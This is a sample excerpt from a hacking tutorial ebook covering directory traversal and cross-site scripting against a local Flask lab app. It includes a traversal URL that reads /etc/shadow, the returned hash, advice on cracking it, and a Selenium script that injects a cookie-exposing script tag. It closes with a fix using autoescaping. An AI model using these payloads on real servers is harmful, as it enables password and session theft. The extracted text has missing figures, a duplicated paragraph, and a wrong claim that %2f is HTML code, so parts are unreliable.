Pythonforhackers Sample
Pythonforhackers Sample
Shantnu Tiwari
This book is for sale at http://leanpub.com/pythonforhackers
This is a Leanpub book. Leanpub empowers authors and publishers with the Lean Publishing
process. Lean Publishing is the act of publishing an in-progress ebook using lightweight tools and
many iterations to get reader feedback, pivot until you have the right book and build traction once
you do.
http://127.0.0.1:5000/get_file/hello.txt
The get_file() view allows you to read any file in the directory of the web server. For example, you
can read h.txt so:
http://127.0.0.1:5000/get_file/h.txt
Directory Transversal attack 2
Whats wrong with that, you ask? After all, if you look at the code for the web server which opens
this file,
@app.route("/get_file/<path:infile>")
def get_file(infile):
with open(infile, "r") as f:
text = f.read()
Look at the function get_file(), as thats whats called when we visit our webpage.
It takes a file called infile and opens it, and then returns the text. Of course, the file must be in the
path (which in our case is the local directory the web app is run from). As long as you dont put
anything important there, it doesnt matter, right?
Wrong.
We can read any file we want, including /etc/shadow, which if you have never seen before,
contains all the passwords on Linux systems. Lets look at our hack script hack.py, function
directory_transversal(). The code is quite simple:
def directory_transversal(driver):
url = "http://127.0.0.1:5000/get_file/..%2fetc/shadow"
The above might look complicated, especially if you dont know what %2f means. It is simply the
HTML code for the / character. As you know, the get_file() function opens a file in our system. We
are telling it to open the file:
Directory Transversal attack 3
../etc/shadow
If you have ever used the command line much, you may know that ../ means go up one directory.
Why one directory? Because we are in /vagrant. Now, if this was a foreign system, and we didnt
know where we were, we could still hack it by writing a script that tried different directories. Like:
../etc/shadow
../../etc/shadow
../../etc/shadow
../../../etc/shadow
... and so on
If you put a / in the path of our webapp, it is removed, for security reasons. But we just replace the /
with its HTML equivalent, which is %2f. And so we can read the password file. The rest of the code
is easy:
driver.get(url)
r = requests.get(url)
print(r.text)
We just read the shadow file which contains the passwords. This is what we get:
daemon:*:16472:0:99999:7:::
bin:*:16472:0:99999:7:::
sys:*:16472:0:99999:7:::
sync:*:16472:0:99999:7:::
games:*:16472:0:99999:7:::
man:*:16472:0:99999:7:::
lp:*:16472:0:99999:7:::
mail:*:16472:0:99999:7:::
news:*:16472:0:99999:7:::
uucp:*:16472:0:99999:7:::
proxy:*:16472:0:99999:7:::
www-data:*:16472:0:99999:7:::
backup:*:16472:0:99999:7:::
list:*:16472:0:99999:7:::
irc:*:16472:0:99999:7:::
gnats:*:16472:0:99999:7:::
nobody:*:16472:0:99999:7:::
libuuid:!:16472:0:99999:7:::
Directory Transversal attack 4
syslog:*:16472:0:99999:7:::
messagebus:*:16472:0:99999:7:::
landscape:*:16472:0:99999:7:::
sshd:*:16472:0:99999:7:::
pollinate:*:16472:0:99999:7:::
vagrant:$6$gCp2TmnO$4RgsZXtIWN3ulEFamffuy6DQBxe1eFnnar876KxC80LHF3B4EkAXQQcef51t\
3aecPHIxHLbZj9Mg3LXw7aAQK0:16472:0:99999:7:::
statd:*:16472:0:99999:7:::
puppet:*:16472:0:99999:7:::
ubuntu:!:16601:0:99999:7:::
If you have never seen a Linux shadow file before ,it is of the format:
Hashing, if you have never heard of the term, is a form of one way encryption, ie. easy to encrypt,
very hard, if not impossible to decrypt. There are a lot of usernames, mainly for Linux processes,
but since we are logged in as vagrant, lets check that:
vagrant:$6$gCp2TmnO$4RgsZXtIWN3ulEFamffuy6DQBxe1eFnnar876KxC80LHF3B4EkAXQQcef51t\
3aecPHIxHLbZj9Mg3LXw7aAQK0:16472:0:99999:7:::
As you can see, the password is encrypted. Linux wasnt built by amateurs! They know better than
to store passwords in plain text. But if you think that protects you, think again. The history of
hacking is full of companies whose shadow file was stolen, and then the hackers reverse engineerd
the passwords. We will cover rainbow tables later, that allow hackers to beat encrypted passwords
like these in minutes. But even without them, the hacker can just write a script that will take our
dictionary of passwords, hash (encrypt) it, and then compare it to the password above.
Which is why modern passwords rarely use just hashing, as we will see later.
Type something in the box and click on the button. You should see your post appear on the screen:
This is a very simple blogging simulator. You type something in the input form, it appears on the
screen.
Now, to show you what an XSS hack would appear like, enter this into the box:
Cross Site Scripting 6
This is a simple Javascript snippet that will display a You been hacked! popup box.
Click okay. You will see that the script part doesnt appear on the screen:
Cross Site Scripting 7
You can see an empty bullet point, but no text there. But the script has been copied to the page. Try
reloading the page:
You will see the message again. Everytime you load the page, the script will run.
Now imagine that instead of just displaying a popup, the script did something more malicious, like
stealing your data?
@app.route('/blog')
def blog(name=None):
resp = make_response(render_template("secret.html", posts=posts))
resp.set_cookie('secret password', '1234567')
return resp
We are setting a cookie on the users system with the secret_password set to 1234567.
As you know, once you login into a page, you dont have to do that again and again. Most websites
will store a cookie on your page that will identify you to the server. They wont store your password
like I have. It will usually be a identification code. But here is the key thing: If someone steals your
Cross Site Scripting 8
cookie, they can use the webapp as you, without having to login. There are exceptions, like some
banks that will warn you if you are logged in from two places, or websites that will forcefully log
you out after an hour or so of inactivity. As you know, once you login into a page, you dont have to
do that again and again. Most websites will store a cookie on your page that will identify you to the
server. They wont store your password like I have. It will usually be a identification code. But here
is the key thing: If someone steals your cookie, they can use the webapp as you, without having to
login. There are exceptions, like some banks that will warn you if you are logged in from two places,
or websites that will forcefully log you out after an hour or so of inactivity.
But in general, stealing your cookies is a very bad thing. And now we will write a script to do just
that.
Open up hack.py, and uncomment the function xss_attack().
def xss_attack(driver):
driver.get("http://127.0.0.1:5000/blog")
elem = driver.find_element_by_name("post")
Using any of the techniques mentions in Chapter 2, we find that the name of the input form is post.
We find this element.
elem.send_keys("<script>document.write(document.cookie);</script>")
elem.send_keys(Keys.RETURN)
This time, we send a script to print the cookie. The Javascript code document.write(document.cookie)
will write the cookie on the screen. Mind you, we still cant see it, as its a part of the HTML code
now. But thats simple, we merely print out the whole page:
print(driver.page_source)
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>secret</title>
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0/\
css/bootstrap.min.css" />
<!-- Optional theme -->
<link href="//netdna.bootstrapcdn.com/bootstrap/3.0.3/css/bootstrap-theme.mi\
n.css" rel="stylesheet" />
<style>
form#add-post{padding:15px;}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<li><script>document.write(document.cookie);</script\
>secret password=1234567</li>
</ul>
</div>
Cross Site Scripting 10
</div>
</div><!-- row-->
<div class="row">
<div class="col-md-12">
</div>
</div>
</body></html>
<li><script>document.write(document.cookie);</script>secret password=1234567</li>
You can see the secret password has been printed on the screen. This could as easily have been the
server identification code, and the hacker could now modify his own cookie to login as you.
Scary.
app.jinja_env.autoescape = False
Now try the hack scripts. Try them manually if you want. This is what will happen:
Now you no longer see the popup, or the secret password. Instead, Flask treats the script tag as just
plain text and prints it on the screen. It automatically escapes the script and HTML codes. This is
the default behaviour of almost every web framework out there.
So to prevent XSS attacks, make sure you are using the latest version of your framework, and update
any plugins you maybe using. You still need to be wary of user input, but in this case, let the
framework do the heavy work.